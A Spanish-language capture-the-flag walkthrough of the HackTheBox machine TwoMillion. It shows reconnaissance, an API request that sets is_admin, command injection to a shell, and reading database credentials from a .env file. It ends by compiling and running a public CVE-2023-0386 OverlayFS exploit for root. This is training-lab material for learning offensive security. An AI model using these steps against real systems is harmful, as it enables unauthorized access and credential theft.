HackTheBox - TwoMillion
- HackTheBox Invite Code Challenge
- Discovering API Routes
- Command Injection - RCE
- Re-using the database password
- (Overlay FS) - Privilege escalation
Escaneo de puertos
❯ nmap -p- -T5 -n -v 10.10.11.221
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 10.10.11.221
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
Agrego el dominio 2million.htb
a mi archivo hosts.
Realizo fuerza bruta de directorios.
❯ wfuzz -t 100 -c --hl=7 -w /usr/share/seclists/Discovery/Web-Content/big.txt http://2million.htb/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://2million.htb/FUZZ
Total requests: 20476
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002431: 401 0 L 0 W 0 Ch "api"
000008957: 302 0 L 0 W 0 Ch "home"
000009833: 200 96 L 285 W 3859 Ch "invite"
000011057: 200 80 L 232 W 3704 Ch "login"
000011080: 302 0 L 0 W 0 Ch "logout"
000015176: 200 94 L 293 W 4527 Ch "register"
Doy click en invite y me sale el clásico formulario de invitación de htb que antiguamente servía para registrarse en la plataforma si conseguías generar un código de invitación
.
Abro el inspector de elementos, me voy al depurador y selecciono inviteapi.min.js
.
Desde la consola del navegador genero una invitación pero esta codificada en ROT13
Decodifico la data en cyberchef.
Como bien me indica realizo una solicitud POST a /api/v1/invite/generate
para generar un código de invitación.
❯ curl -s -X POST http://2million.htb/api/v1/invite/generate | jq
{
"0": 200,
"success": 1,
"data": {
"code": "UE9PUVotR1g4VjQtWEhRM1YtTks3UkQ=",
"format": "encoded"
}
}
Decodifico el código en base64 y finalmente obtengo el código de invitación.
❯ echo "UE9PUVotR1g4VjQtWEhRM1YtTks3UkQ=" | base64 -d;echo
POOQZ-GX8V4-XHQ3V-NK7RD
Introduzco el código de invitación.
Me registro.
Accedo al dashboard.
Haciendo hovering encuentro que en access es el único sitio donde puedo hacer click.
Lanzo burpsuite y capturo la petición de Regenerate
y la mando al repeater.
Enumerando entre directorios en /api/user
encuentro detalles de la API completa.
❯ curl -s http://2million.htb/api/v1 -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" | jq
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
Verifico si soy usuario admin con /api/v1/admin/auth
.
❯ curl -s http://2million.htb/api/v1/admin/auth -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" | jq
{
"message": false
}
Intento generar una vpn con /api/v1/admin/vpn/generate
mediante el método POST pero al no ser admin no tengo permisos.
Al probar el método PUT veo el mensaje Invalid content type
.
❯ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" | jq
{
"status": "danger",
"message": "Invalid content type."
}
Le añado el content type
pero ahora no encuentra el parametro email
.
❯ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" -H "Content-Type:application/json" | jq
{
"status": "danger",
"message": "Missing parameter: email"
}
Le añado el parámetro email
.
❯ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" -H "Content-Type:application/json" -d '{"email":"noname@mail.com"}' | jq
{
"status": "danger",
"message": "Missing parameter: is_admin"
}
Finalmente le agrego el parámetro is_admin
y me responde que el id 15
con el nombre de usuario noname es administrador.
❯ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" -H "Content-Type:application/json" -d '{"email":"noname@mail.com","is_admin":1}' | jq
{
"id": 15,
"username": "noname",
"is_admin": 1
}
Verifico si soy administrador.
❯ curl -s http://2million.htb/api/v1/admin/auth -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" | jq
{
"message": true
}
Después de una pruebas veo que puedo inyectar comandos.
Me mando una shell.
Realizo el tratamiento de la tty.
www-data@2million:~/html$ tty
not a tty
www-data@2million:~/html$ script /dev/null -c bash
ctrl + Z
stty raw -echo;fg
reset
xterm
export TERM=xterm
export SHELL=bash
stty rows 50 columns 200
En el archivo .env
encuentro unas credenciales.
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=S*************123
Me conecto al sistema como admin.
❯ ssh admin@10.10.11.221
admin@10.10.11.221's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Sep 1 05:31:02 PM UTC 2023
System load: 0.0087890625
Usage of /: 79.1% of 4.82GB
Memory usage: 14%
Swap usage: 0%
admin@2million:~$
Enumero el sistema en busca de todo lo relacionado con el usuario admin.
admin@2million:~$ find / -user admin 2>/dev/null | grep -v -i -E 'proc|sys|dev|run'
/home/admin
/home/admin/.cache
/home/admin/.cache/motd.legal-displayed
/home/admin/.ssh
/home/admin/.ssh/known_hosts.old
/home/admin/.ssh/known_hosts
/home/admin/.profile
/home/admin/.bash_logout
/home/admin/.bashrc
/var/mail/admin
Leo el archivo admin.
admin@2million:~$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
Buscando por OverlayFS exploit
encuentro este exploit.
https://github.com/xkaneiki/CVE-2023-0386/
Me descargo el zip a mi máquina, luego subo el zip a la máquina víctima, descomprimo el zip y entro a la carpeta para compilar el exploit.
admin@2million:/tmp/$ unzip main.zip
admin@2million:/tmp/$ cd CVE-2023-0386-main
admin@2million:/tmp/CVE-2023-0386-main$ make all
admin@2million:/tmp/CVE-2023-0386-main$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
[+] readdir
[+] getattr_callback
/file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
Desde otra terminal me conecto al sistema, entro en la carpeta del exploit y escribo ./exp
para obtener el root.
./exp
root@2million:/tmp/CVE-2023-0386-main# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)
root@2million:/root#
Y con esto ya tenemos resuelta la máquina TwoMillion.
Saludos!